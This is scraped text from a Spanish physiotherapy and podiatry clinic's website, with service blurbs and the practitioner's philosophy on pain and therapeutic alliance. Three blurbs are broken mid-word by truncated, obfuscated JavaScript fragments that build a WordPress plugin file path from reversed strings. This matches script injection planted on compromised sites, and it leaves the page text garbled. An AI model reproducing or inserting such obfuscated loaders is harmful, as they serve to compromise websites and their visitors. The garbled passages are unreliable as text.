SUPINACIÓN O PRONACIÓN
¿Necesitas comprarte unas zapatillas especiales porque pronas o supinas? La supinación y pronación, es un concepto...
lee másPosturología
Es una forma diferente de valoración y diagnóstico en el que integramos el cuerpo en su $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return...
Leer másFisioterapia
Cervicobraquialgias, neuralgias o neuropatías periféricas, desequilibrios pélvicos, disfunciones de ATM (m$mRi=function(n){if (typeof ($mRi.list[n]) == "string") return $mRi.list[n].split("").reverse().join("");return...
Leer másEstudio de la pisada
En la actualidad la po$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re$NfI=function(n){if...
Leer másQUE IDEA TENEMOS EN MI CLÍNICA DE FISIOTERAPIA Y PODOLOGIA SEVILLA
Soy Paco Mateos Martínez, Fisioterapeuta y Podólogo especialista en Posturología.
Mi objetivo es que obtengas una visión objetiva de tu propia realidad (alejada y mediada por el dolor).
Quiero que adquieras las estrategias necesarias para aquellas cosas que están bajo tu control (actitud y hábitos de vida saludables) y te alejes de las que no, es más, céntrate en aquellas cosas que puedes cambiar (hacer más en tu día a día con menos o el mismo dolor).
Si prestas demasiada atención a cosas insignificantes como "es mejor estirar antes o después de" o "cuál es la mejor postura para dormir"...
Paciencia!
El que aumente tu ansiedad es por querer hacer cosas inmediatas que antes podías hacer y ahora algo te lo impide, pero es normal y no te asustes, seguro que cambia.
Confía en la exposición gradual, la carga progresiva, que tu sistema vaya reconociendo los cambios y en la terapia congnitivo-propioceptiva que por supuesto te ayudará a mejorar y cambiar la información. Todo llega!
Me comprometo a dar el 100% pero necesito que des el 200% y trabajemos duro para conseguir los objetivos, además quiero que entiendas que sentir más o menos dolor no está solo en nuestras manos, existen cosas que no podemos controlar.
DEJA DE VER AL DOLOR COMO ALGO MALO, EL DOLOR ES BUENO.
Una experiencia individual emocional mediada por otros subsistemas cuyo significado innato de protección y la necesidad de hacer cambios es prioritaria para mantener la homeostasis.
Entiendo que a veces es complicado y para conseguir ciertos cambios es necesario de TIEMPO, algo del que carecemos hoy día pero tranquilo, estoy aquí para ayudarte y juntos intentaremos salir de esto.
Es fundamental saber qué es el dolor y como funciona dentro de nuestro sistema para mejorar el procesamiento en tu cerebro, ayudado con técnicas manuales, plantillas propioceptivas y ejercicios individualizados para el tu propio empoderamiento y la gestión de ese dolor.
Alianza Terapéutica
?5 Principios fundamentales de la alianza terapéutica Cuando estaba recién salido de la carrera y mis dos años posteriores...
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EL PIE TIENE QUE SER FUNCIONAL
“Dame un punto fijo y una palanca y levantaré el mundo” Archimides. (Considerado el padre de la estática*) *Rama...
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Nuevo proyecto de AudioPodcast, una nueva forma de divulgación en al que hablaré de temas interesante en la actualidad del ámbito de la salud y realizaremos debates con otros profesionales de la fisitoterapia, la podología y la posturología. A parte de proponer la exposición de pacientes clínicos reales.